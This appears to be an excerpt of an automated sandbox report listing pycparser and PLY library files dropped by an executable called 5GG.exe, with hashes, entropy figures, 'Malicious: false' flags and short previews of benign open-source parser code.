C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\_c_ast.cfg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4255
Entropy (8bit):	4.887485362483552
Encrypted:	false
SSDEEP:	96:B2l8Wb/X2zPH4IxoW3teTpxvaIBw7I6YcaIXV6i:BhWbuQQCvaILXi
MD5:	A9DFB94EF658EB1BC34061A388018F85
SHA1:	483DC203064C439E500CDDDE0F1D63AE310BF6F1
SHA-256:	95DE5ECC4F72CC82452150147F0EDECC94A5322E275CA342CDF9AA8CEC904CDA
SHA-512:	48C3FC03C017E0BA1F8A2ED594D78631A21929904DFC057DB2FA165604D99B8587FAAD2CC946F019883A203ED07EF4C635CBAE645C4024DC4C9FDEECE31B1B82
Malicious:	false
Preview:	#-----------------------------------------------------------------.# pycparser: _c_ast.cfg.#.# Defines the AST Node classes used in pycparser..#.# Each entry is a Node sub-class name, listing the attributes.# and child nodes of the class:.# <name>* - a child node.# <name>** - a sequence of child nodes.# <name> - an attribute.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------..# ArrayDecl is a nested declaration of an array with the given type..# dim: the dimension (for example, constant 42).# dim_quals: list of dimension qualifiers, to support C99's allowing 'const'.# and 'static' within the array dimension in function declarations..ArrayDecl: [type, dim, dim_quals]..ArrayRef: [name, subscript]..# op: =, +=, /= etc..#.Assignment: [op, lvalue, rvalue]..Alignas: [alignment]..BinaryOp: [op, left, right]..Break: []..Case: [expr, stmts*]..Cast: [to_type, expr*]..# Compo

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ast_transforms.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5691
Entropy (8bit):	4.24670035551933
Encrypted:	false
SSDEEP:	96:W/ctyV1CuXk/xEo/XLbOb41vltVGqIWg4vmkNyJ/ELnPBjeAWSxu3n+XQQqqIE:W//ozbO8bGqFgOmhAa3+oE
MD5:	3F628E83C8067C9636D519BE20E88661
SHA1:	38F2F50CAAC840B43AF9AFD77879F7BD8F08BAE4
SHA-256:	193318954816997779C09572A2F5D8D6ACF302A8F1CC2A55560D3AEB874A181B
SHA-512:	EF43ABC9685F262C711338A4D3D7589C337903ED6C5B3316EB1D99336C2587D332EF0135B9B080F790D39FD616BD4BBB6CC28A704AEDF270A2E61523C59E7CDA
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: ast_transforms.py.#.# Some utilities used by the parser to create a friendlier AST..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------..from . import c_ast...def fix_switch_cases(switch_node):. """ The 'case' statements in a 'switch' come out of parsing with one. child node, so subsequent statements are just tucked to the parent. Compound. Additionally, consecutive (fall-through) case statements. come out messy. This is a peculiarity of the C grammar. The following:.. switch (myvar) {. case 10:. k = 10;. p = k + 1;. return 10;. case 20:. case 30:. return 20;. default:. break;. }.. Creates this tre

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\c_ast.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	31445
Entropy (8bit):	4.331032008947473
Encrypted:	false
SSDEEP:	192:JHYJZl9SORLQQt2JoaNPtUT+pQvGvmwX8/Tn0jNgUobfZYFvaL3:JHYX9SqVt2JfNtvmw+Tn0jGnZp3
MD5:	24AE7B8196F4ED3BE538C6AE9433DDAE
SHA1:	1A10145E11E8DD7DE56C9D1300E4649ABC15F650
SHA-256:	1D678EADF61D098D2EE57698844D62EB4B95C84DF231675CC73102517F83A89C
SHA-512:	2B97ADF8F9621CC84867872DF85E63A0BBC0E2A65CDA1A029AAC0CC1C65DBCA433A99F98C697B6CED954F18BD9505923051488495E328935E48986069FA96CA8
Malicious:	false
Preview:	#-----------------------------------------------------------------.# ATTENTION .# This code was automatically generated from the file:.# _c_ast.cfg.#.# Do not modify it directly. Modify the configuration file and.# run the generator again..# * **.#.# pycparser: c_ast.py.#.# AST Node classes..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------...import sys..def _repr(obj):. """. Get the representation of an object, with dedicated pprint-like format for lists.. """. if isinstance(obj, list):. return '[' + (',\n '.join((_repr(e).replace('\n', '\n ') for e in obj))) + '\n]'. else:. return repr(obj)..class Node(object):. __slots__ = (). """ Abstract base class for AST nodes.. """. def __repr__(self):. """ Generates a python representation of the current node. """. result = self.__class__.__name__ + '('.. indent = ''. sep

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\c_generator.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17772
Entropy (8bit):	4.308735203607953
Encrypted:	false
SSDEEP:	192:WhQoOnaAwOpOlq1thSgKxPiRpbGy4Id6mqEJIWsATVjx57pfljsi3emUJDYLovGS:WhQoOnak4Pg1Gq11vLljTtgjatugjkTF
MD5:	A3207CDC0A8EB482A7F9E8471B944262
SHA1:	056A28797B2B2B7B52FAAFB055EAAE2C827579DE
SHA-256:	CA2E8C72AC6FF3C279B9EF24E7E9951B1877889DFB883E10C85FAC59C1A30BEF
SHA-512:	A051C63E654F729FC339A1BCAD285A9D026457D53EE754719BFE585166ABEAE838A0257541504AACEBEFD2690A96912C87272E0873E3340C8574B612A792B6E3
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: c_generator.py.#.# C code generator from pycparser AST nodes..#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------.from . import c_ast...class CGenerator(object):. """ Uses the same visitor pattern as c_ast.NodeVisitor, but modified to. return a value from each visit method, using string accumulation in. generic_visit.. """. def __init__(self, reduce_parentheses=False):. """ Constructs C-code generator.. reduce_parentheses:. if True, eliminates needless parentheses on binary operators. """. # Statements start with indentation of self.indent_level spaces, using. # the _make_indent method.. self.indent_level = 0. self.reduce_parentheses = reduce_parentheses.. def _make_indent(self):. return ' ' * self.inde

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\c_lexer.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17167
Entropy (8bit):	4.921996525893444
Encrypted:	false
SSDEEP:	384:WOug/TkGlf8EhxOZDc8LL1v1WRWc2kSsnfuV+vwC26O2rEH:Dx7Tl1hxc1oWNkjfuVIDIH
MD5:	10F7BC3F7D80B54981DD016174717DC9
SHA1:	9865F1B68B924454D0F1A3A1D333ABFB34A7FB1B
SHA-256:	C42A6321BEAF39479B049A5D89F89D6F4F32ED7800B0EDD3D603465C94FDDFEC
SHA-512:	B395E439760BBDA27632583F10C7928625ACF3630AF15C3F14D97EE15B09606ED0448400523718A20E5FD9747D8AD1DD47C75FBE62EDCB07BF5A67009C888A6A
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: c_lexer.py.#.# CLexer class: lexer for the C language.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------.import re..from .ply import lex.from .ply.lex import TOKEN...class CLexer(object):. """ A lexer for the C language. After building it, set the. input text with input(), and call token() to get new. tokens... The public attribute filename can be set to an initial. filename, but the lexer will update it upon #line. directives.. """. def __init__(self, error_func, on_lbrace_func, on_rbrace_func,. type_lookup_func):. """ Create a new Lexer... error_func:. An error function. Will be called with an error. message, line and column as arguments, in case of. an error during lexing...

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\c_parser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	73680
Entropy (8bit):	4.398426130883911
Encrypted:	false
SSDEEP:	768:hAJUjkuQxI7UjrwtKdn0SP2l2ehnnnedRjWewxhAwYhV:aJUwIA10S+l2ehn/2w2
MD5:	E428C2A075E2E114A85C78833125C8F7
SHA1:	F3B563CA9FB48B783B71D811437B2AEF647EFD4B
SHA-256:	FFCCB78B9D9B2FA4942B6D4A984125D2ACC7C5EFB47994738D91A45A0F204380
SHA-512:	3663A77E61D568ACF25FD875C1FC0D23879F9D9FD5383AFD287CDBA2EA0803CED52095EC5878079FB690B55375BE4E00D86FEF6E2E8B728030A41AADE198E7B7
Malicious:	false
Preview:	#------------------------------------------------------------------------------.# pycparser: c_parser.py.#.# CParser class: Parser and AST builder for the C language.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#------------------------------------------------------------------------------.from .ply import yacc..from . import c_ast.from .c_lexer import CLexer.from .plyparser import PLYParser, ParseError, parameterized, template.from .ast_transforms import fix_switch_cases, fix_atomic_specifiers...@template.class CParser(PLYParser):. def __init__(. self,. lex_optimize=True,. lexer=CLexer,. lextab='pycparser.lextab',. yacc_optimize=True,. yacctab='pycparser.yacctab',. yacc_debug=False,. taboutputdir=''):. """ Create a new CParser... Some arguments for controlling the debug/optimization. level of the parser are provided. The defaults are.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\lextab.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with very long lines (6817)
Category:	dropped
Size (bytes):	8504
Entropy (8bit):	5.519379895349544
Encrypted:	false
SSDEEP:	192:CUJTZ8PhxgDo5lkBLU4w6ox3rFDfZWpYFJNlp6I/+hGEpuIy7PT4f:CUJTZ8pxgDov+Lex3rFDfZWpYFJNPtIV
MD5:	7A652C48D7EFAD5E383EFDC26FD4D0CA
SHA1:	E5A92B4FF929D72152A4BDABBCAA0430EF2B7D64
SHA-256:	7C8C410076110B8D7CA0A179D8CEF16FCFCA323DCAFAD1F1D13CD988AC318CF3
SHA-512:	37F2BD82421A505AFFB205BDCC0C00C630040850B1317185CCBDFAC14B1E94DF03BB6AEA4F78DFB71C77FCB02040B944B13B199729D0B6D8FBBAF3084786E7CD
Malicious:	false
Preview:	# lextab.py. This file automatically created by PLY (version 3.10). Don't edit!._tabversion = '3.10'._lextokens = set(('INT_CONST_CHAR', 'VOID', 'LBRACKET', 'WCHAR_CONST', 'FLOAT_CONST', 'MINUS', 'RPAREN', 'STRUCT', 'LONG', 'PLUS', 'ELLIPSIS', 'U32STRING_LITERAL', 'GT', 'GOTO', 'ENUM', 'PERIOD', 'GE', 'INT_CONST_DEC', 'ARROW', '_STATIC_ASSERT', '__INT128', 'HEX_FLOAT_CONST', 'DOUBLE', 'MINUSEQUAL', 'INT_CONST_OCT', 'TIMESEQUAL', 'OR', 'SHORT', 'RETURN', 'RSHIFTEQUAL', '_ALIGNAS', 'RESTRICT', 'STATIC', 'SIZEOF', 'UNSIGNED', 'PLUSPLUS', 'COLON', 'WSTRING_LITERAL', 'DIVIDE', 'FOR', 'UNION', 'EQUALS', 'ELSE', 'ANDEQUAL', 'EQ', 'AND', 'TYPEID', 'LBRACE', 'PPHASH', 'INT', 'SIGNED', 'CONTINUE', 'NOT', 'OREQUAL', 'MOD', 'RSHIFT', 'DEFAULT', '_NORETURN', 'CHAR', 'WHILE', 'DIVEQUAL', '_ALIGNOF', 'EXTERN', 'LNOT', 'CASE', 'LAND', 'REGISTER', 'MODEQUAL', 'NE', 'SWITCH', 'INT_CONST_HEX', '_COMPLEX', 'PPPRAGMASTR', 'PLUSEQUAL', 'U32CHAR_CONST', 'CONDOP', 'U8STRING_LITERAL', 'BREAK', 'VOLATILE',

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	102
Entropy (8bit):	4.939247220388048
Encrypted:	false
SSDEEP:	3:SQ3rWAFJOClBPAvvKXLvbLzi6+Fo+CRGp:S8WSJcsvzi6+h
MD5:	498B675AAD8DC005DC64DB594F221378
SHA1:	0175637D9E29875517C7C8F50C3A17CD5573A9BC
SHA-256:	AB8B3CE90C11B1845ADB42FDB9E4B17E1FA13E28697ED0630CEBD86B6FD24B66
SHA-512:	08F6534F23743661D9BAF4FCC74EF1C1CC50B476A03F309DD1576395C186685532A32CEA24793BBC6B81795F602EFF3DFF00F867608ECAB7A05FBF4A82D45530
Malicious:	false
Preview:	# PLY package.# Author: David Beazley (dave@dabeaz.com)..__version__ = '3.9'.__all__ = ['lex','yacc'].

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	234
Entropy (8bit):	5.200983941330898
Encrypted:	false
SSDEEP:	6:y/oee1/OBdTMYA1x+1/DHSC5EgTdArfKh6KQD6/:Coee9OBd0101LHS6EgSccD6/
MD5:	0BF04F6E5EB2275125B2C65CD0E18E79
SHA1:	EB354E3DE6AC2E54882B8E133BEA82D5B41ECDE8
SHA-256:	6003923EED47D3414AC143A005F256B2E14BC94ABAB25B89BA94CC49E4269075
SHA-512:	22BF9B8FE527B3E08EC180F6F1028D518F268AA9D02D8B66ADE123780F9F8079A947A8F5F6A857C9C57692CF5072B9E5325A7CF569EEF83E1E5F90D62D244173
Malicious:	false
Preview:	o.........ef........................@...s....d.Z.d.d.g.Z.d.S.).z.3.9..lexZ.yaccN)...__version__..__all__..r....r.....Y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/ply/__init__.py..<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\pycache\cpp.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	16113
Entropy (8bit):	5.406678692741523
Encrypted:	false
SSDEEP:	384:+T4mIs5ejWuqMm9lJv1PTQVj5TvH+4VTPCXTK7/v:+ZX5ejWN3LSvH+4BkK7n
MD5:	93EE3A69F263BCA3A8A6A9FF575856B7
SHA1:	8C6529D195168F2BD6723E0C5101E18EAC58C062
SHA-256:	239F85376EA572E09319E7217A2B46D5B48F34DC85F5EA9B23630CFDCD2D883B
SHA-512:	E49ABF86EF981D35856EB82FE3BD578151CA5EC574A4ED6781A56230DC061F425CBB923D0610607BEB5ED11DE9578A331D8A0604119FA09227C8DAD7637541E6
Malicious:	false
Preview:	o.........e.........................@...s\...d.d.l.Z.e.j.j.d.k.r.e.e.f.Z.n.e.Z.e.Z.d.Z.d.Z.d.d...Z.d.Z.d.Z.d.Z.d.d...Z.e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e...d...Z.d.d.d.d.d.d.d.d.d d!..Z.d"d#..Z.G.d$d%..d%e...Z G.d&d'..d'e...Z!e"d(k.r.d.d.l#m$Z$..e$.$..Z%d.d.l.Z.e&e.j'd)....Z(e(.)..Ze!e%..Z+e+.,ee.j'd)........e+.-..Z.e.s.d.S.e/e+j0e.....q.d.S.).....N.....).Z.CPP_ID..CPP_INTEGERZ.CPP_FLOATZ.CPP_STRINGZ.CPP_CHAR..CPP_WSZ.CPP_COMMENT1Z.CPP_COMMENT2Z.CPP_POUNDZ.CPP_DPOUNDz.+-/%\|&~^<>=!?()[]{}.,;:\'"c....................C........\|.j...j.\|.j...d...7..._.\|.S.).z.\s+.......lexer..lineno..value..count....t..r.....T...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/ply/cpp.py..t_CPP_WS.............r....z.\#z.\#\#z.[A-Za-z_][\w_]*c....................C...s....\|.S.).zA(((((0x)\|(0X))[0-9a-fA-F]+)\|(\d+))([uU][lL]\|[lL][uU]\|[uU]\|[lL])?)r....r....r....r....r....r....+...s......r....z?((\d+)(\.\d+)(e(\+\|-)?(\d+))? \| (\d+)e(\+\|-

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\pycache\ctokens.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2087
Entropy (8bit):	5.989384208577137
Encrypted:	false
SSDEEP:	24:FDiWW6eZD67OmUQuzV7ctzkkPoiYMehixXXEhVFnPnJjvzdrHXsu82zfuTRffRDM:IWWpD6KecSzk/izuVpPJTV3TPu1NCZ
MD5:	9F5A1C0EBDB196F897DC89F93BC7AFFF
SHA1:	909352C047A379A0CDDAE8FEF3BC031E5E608FFD
SHA-256:	50C49BEF730FC7D7753C9F46FCE26682CA29775FBEB91C253756EED1CB2DD811
SHA-512:	9FC6ED816B22FACA68B2EEA651911DFBA1C9E5B57FBE6B28E525F308711C94DDC5E804AF8EAAB6CCCD2015EF7BE4D809E7EB396AB15E50249C80434BC011EFE9
Malicious:	false
Preview:	o.........ei........................@...s....g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4d5..Z4d6d7..Z5d8S.)9)4..IDZ.TYPEIDZ.INTEGER..FLOAT..STRINGZ.CHARACTER..PLUS..MINUSZ.TIMESZ.DIVIDEZ.MODULO..OR..AND..NOTZ.XORZ.LSHIFTZ.RSHIFTZ.LORZ.LANDZ.LNOT..LTZ.LE..GTZ.GEZ.EQZ.NEZ.EQUALSZ.TIMESEQUALZ.DIVEQUALZ.MODEQUAL..PLUSEQUALZ.MINUSEQUALZ.LSHIFTEQUALZ.RSHIFTEQUALZ.ANDEQUALZ.XOREQUALZ.OREQUALZ.INCREMENTZ.DECREMENTZ.ARROWZ.TERNARY..LPAREN..RPAREN..LBRACKET..RBRACKET..LBRACE..RBRACE..COMMAZ.PERIOD..SEMI..COLON..ELLIPSISz.\+..-z.\../..%z.\\|..&..~z.\^z.<<z.>>z.\\|\\|z.&&..!..<..>z.<=z.>=z.==z.!=..=z.\=z./=z.%=z.\+=z.-=z.<<=z.>>=z.&=z.\\|=z.\^=z.\+\+z.--z.->z.\?z.$z.$z.\[z.\]z.\{z.\}..,z.\...;..:z.\.\.\.z.[A-Za-z_][A-Za-z0-9_]*z!\d+([uU]\|[lL]\|[uU][lL]\|[lL][uU])?z?((\d+)(\.\d+)(e(\+\|-)?(\d+))? \| (\d+)e(\+\|-)?(\d+))([lL]\|[fF])?z.\

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\pycache\lex.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	21402
Entropy (8bit):	5.431689083128916
Encrypted:	false
SSDEEP:	384:suNCVlwztzcfwgAYGfyiUJLJ9N9mN1Wt3ImJx97Z2omJYbzah4XMlfElj51YyqvY:gVlwztzcfwgDr9NwNIdDJx9QEXMsd19t
MD5:	AC2047394207D6351DECBB06CB365B2E
SHA1:	CCE0C6DEE68A0ACA410B6E08E1836254E216FFFF
SHA-256:	694E43DCBB56BC630E1FF9250D1E9577C7D1CBDCA143A65FC4FC2AD4A65FF7AE
SHA-512:	4658BCF5AE8055ABB289C57ED1A3A44124319E249703B948526000830377D6A11F5B831FC3BC24C9B8BCB29777D4740546336658990EE1D68B74BB5D20151883
Malicious:	false
Preview:	o.........e.........................@...s:...d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.e.j.e.j.f.Z.W.n...e.y1......e.e.f.Z.Y.n.w.e...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d.d.d.d.e.e.j...d.d.d.d.f.d.d...Z d$d d!..Z!d"d#..Z"e"Z#d.S.)%z.3.10.....Nz.^[a-zA-Z0-9_]+$c....................@...s....e.Z.d.Z.d.d...Z.d.S.)...LexErrorc....................C...s....\|.f.\|._.\|.\|._.d.S...N)...args..text)...self..message..s..r.....T...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/ply/lex.py..__init__:...s........z.LexError.__init__N)...__name__..__module__..__qualname__r....r....r....r....r....r....9...s........r....c....................@........e.Z.d.Z.d.d...Z.d.d...Z.d.S.)...LexTokenc....................C...s....d.\|.j.\|.j.\|.j.\|.j.f...S.).Nz.LexToken(%s,%r,%d,%d))...type..value..lineno..lexpos..r....r....r....r......__str__A..........z.LexToken.__s

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\pycache\yacc.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	52659
Entropy (8bit):	5.4254728264398935
Encrypted:	false
SSDEEP:	1536:d+egpsq7QRR7gmLt0s0vDxo8NfTVb7lfPlWwF2QXIRAAyJmL443tgJ+PFDQs64H7:kBj44/akw
MD5:	690E80465D57CB6BB7DBB8B567EE9FD2
SHA1:	88AD7196C5991B793A0DE33ADE33952E45F4407D
SHA-256:	261ADA2AAF98783D6FBCB37A13770CE1F0E3212E05E84B7B46C9917CAFF41696
SHA-512:	74B7F2C3844B38645AE7E50EEED11D8BCF0C4F186CA67607748AFBDA9952714B38CAB04B8DF125FBA8112EB026FBCC194818CE7A710A1204E07746064807EA2D
Malicious:	false
Preview:	o.........ek........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.j.d...d.k.r:e.Z.n.e.Z.e.j.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d.a.d.a d.a!d.Z"d.d...Z#d.d...Z$d.d...Z%d.d...Z&G.d.d...d...Z'G.d.d ..d ..Z(G.d!d"..d"..Z)e..d#..Z+G.d$d%..d%e...Z,G.d&d'..d'e...Z-G.d(d)..d)e...Z.dd+..Z/G.d,d-..d-e...Z0G.d.d/..d/e...Z1G.d0d1..d1e...Z2G.d2d3..d3e...Z3d4d5..Z4d6d7..Z5G.d8d9..d9e...Z6G.d:d;..d;e3..Z7d<d=..Z8d>d?..Z9G.d@dA..dAe...Z:d.e.d.e.d.d.d.d.e.d.d.d.d.f.dBdC..Z;d.S.)D.....Nz.3.10Tz.parser.out..parsetab..LALR.....F.(...c....................@...s4...e.Z.d.Z.d.d...Z.d.d...Z.e.Z.d.d...Z.d.d...Z.e.Z.d.S.)...PlyLoggerc....................C...s....\|.\|._.d.S...N)...f)...selfr......r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/ply/yacc.py..__init__n..........z.PlyLogger.__init__c....................O...s....\|.j...\|.\|...d.......d.S.).N.....r......write..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\pycache\ygen.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1813
Entropy (8bit):	5.4229634036006535
Encrypted:	false
SSDEEP:	48:ihqL6E3cdtIXUQWXvyn+RHYjHkbHxolVEv:ic6E3tUQAvyn+RHYobH6lVEv
MD5:	FDB5D6D1C61AFE2A0D9446E479CFCD8D
SHA1:	3C773F21B8C0DED1FD01829117E13F85E300D43D
SHA-256:	7A0C31BB9CF1B801F99C24B213B9B4F34B432969C7858652C2A0F546A57AD3FA
SHA-512:	993762B38218B23A1425896B5B9C397A757C55F28BDB7B7F26DD03B6F8846994E7CC53712D3B12A7DC8E1523ED9A0C1522E424B82160CC7B5D2DE2BA1F6BC529
Malicious:	false
Preview:	o.........e.........................@...s>...d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.d.d...Z.e.d.k.r.e.....d.S.d.S.)......Nc....................C...sd...t.\|...}.d.\|...}.d.\|...}.\|.D.].\.}.}.\|.......\|...r...n.q.\|.D.].\.}.}.\|.......\|...r+..n.q.\|.d...\|.f.S.).Nz.#--! %s-startz.#--! %s-end.....)...enumerate..strip..startswith..endswith)...lines..tagZ.srclinesZ.start_tagZ.end_tagZ.start_index..lineZ.end_index..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\pycparser/ply/ygen.py..get_source_range....s............................r....c....................C...sB...g.}.d.}.d.\|...}.\|.D.].}.\|.......\|...r.\|...}.q.\|.r.\|...\|.....q.\|.S.).NTz.#--! %s).r....r......append).r....r....Z.filtered_lines..include..tag_textr....r....r....r......filter_section....s........................r....c....................C...s"...t.j...t...}.t...t.j...\|.d...t.j...\|.d.......t.t.j...\|.d...d.....}.\|.....}.W.d.........n.1.s/w.......Y...t.\|.d...\.}.}.t.\|.d...\.}.}.t.\|.d...\.}.}.\|.\|.\|.....}.t.\|.d...}.t.\|.d

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\cpp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	33282
Entropy (8bit):	4.1589112496295275
Encrypted:	false
SSDEEP:	384:OAO63iy1Q/DWJlH+a3rTYpfLvwizREiNgD22zyMXZ5cwQrirgGVyuNib:OAG/y9nIBzyiNb7cub
MD5:	5731A2F2A7AB75460BA671074C280EF2
SHA1:	CFBEA64F58966B1CEA2D12F562042AA338E49D0A
SHA-256:	52D0B7CA54D6A79FF530A03E3CB0AEC0A411F3348E9E51AE18621DCE3F314BDF
SHA-512:	715685065ACB1814CA639D52DA16398A051B1A1B200F75F842996AF1C79A3C5E46E96BD1CA1BC391A53ABC9E764B8744F099CBEC2F777FA67B09B4CC378AF98E
Malicious:	false
Preview:	# -----------------------------------------------------------------------------.# cpp.py.#.# Author: David Beazley (http://www.dabeaz.com).# Copyright (C) 2017.# All rights reserved.#.# This module implements an ANSI-C style lexical preprocessor for PLY..# -----------------------------------------------------------------------------.import sys..# Some Python 3 compatibility shims.if sys.version_info.major < 3:. STRING_TYPES = (str, unicode).else:. STRING_TYPES = str. xrange = range..# -----------------------------------------------------------------------------.# Default preprocessor lexer definitions. These tokens are enough to get.# a basic preprocessor working. Other modules may import these if they want.# -----------------------------------------------------------------------------..tokens = (. 'CPP_ID','CPP_INTEGER', 'CPP_FLOAT', 'CPP_STRING', 'CPP_CHAR', 'CPP_WS', 'CPP_COMMENT1', 'CPP_COMMENT2', 'CPP_POUND','CPP_DPOUND'.)..literals = "+-*/%\|&~^<>=!?()[]{}.,;:\\\'\

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\ctokens.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3177
Entropy (8bit):	4.8189809262365415
Encrypted:	false
SSDEEP:	48:MopW8UdBS4YZX94VdnfSuu8imYIOmbMJ2SmkXe6Lype7e3TZdsg:MLDdk4kWu8ilIORakhyoq3TPsg
MD5:	3243640DA7B709C2065957B20BB7F0A6
SHA1:	16C5DDB58D86981D913FFC76B2EDE9F607B79670
SHA-256:	30A92C9CDE344DE84F86055FC422618E3FC18CBF78DDAA6B78004A633F9B9746
SHA-512:	1D97B0D84AE4EF059A4342C8E40C9DC3723DBD5E40ABADCEA06194EAA1B816097659B77593C49591AE377D68C498CA0ECD563B618A07D9E6A7F70EBF8CC3B90E
Malicious:	false
Preview:	# ----------------------------------------------------------------------.# ctokens.py.#.# Token specifications for symbols in ANSI C and C++. This file is.# meant to be used as a library in other tokenizers..# ----------------------------------------------------------------------..# Reserved words..tokens = [. # Literals (identifier, integer constant, float constant, string constant, char const). 'ID', 'TYPEID', 'INTEGER', 'FLOAT', 'STRING', 'CHARACTER',.. # Operators (+,-,,/,%,\|,&,~,^,<<,>>, \|\|, &&, !, <, <=, >, >=, ==, !=). 'PLUS', 'MINUS', 'TIMES', 'DIVIDE', 'MODULO',. 'OR', 'AND', 'NOT', 'XOR', 'LSHIFT', 'RSHIFT',. 'LOR', 'LAND', 'LNOT',. 'LT', 'LE', 'GT', 'GE', 'EQ', 'NE',. . # Assignment (=, =, /=, %=, +=, -=, <<=, >>=, &=, ^=, \|=). 'EQUALS', 'TIMESEQUAL', 'DIVEQUAL', 'MODEQUAL', 'PLUSEQUAL', 'MINUSEQUAL',. 'LSHIFTEQUAL','RSHIFTEQUAL', 'ANDEQUAL', 'XOREQUAL', 'OREQUAL',.. # Increment/decrement (++,--). 'INCREMENT', 'DECREMENT',.. # Str

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pycparser\ply\lex.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	42918
Entropy (8bit):	4.356827020656561
Encrypted:	false
SSDEEP:	768:LjqVpMmn7baUfzt98CXy1QhCPZWT7ZDtimJML0fD:yVpMQbaUfzt98/ZCDYm+sD
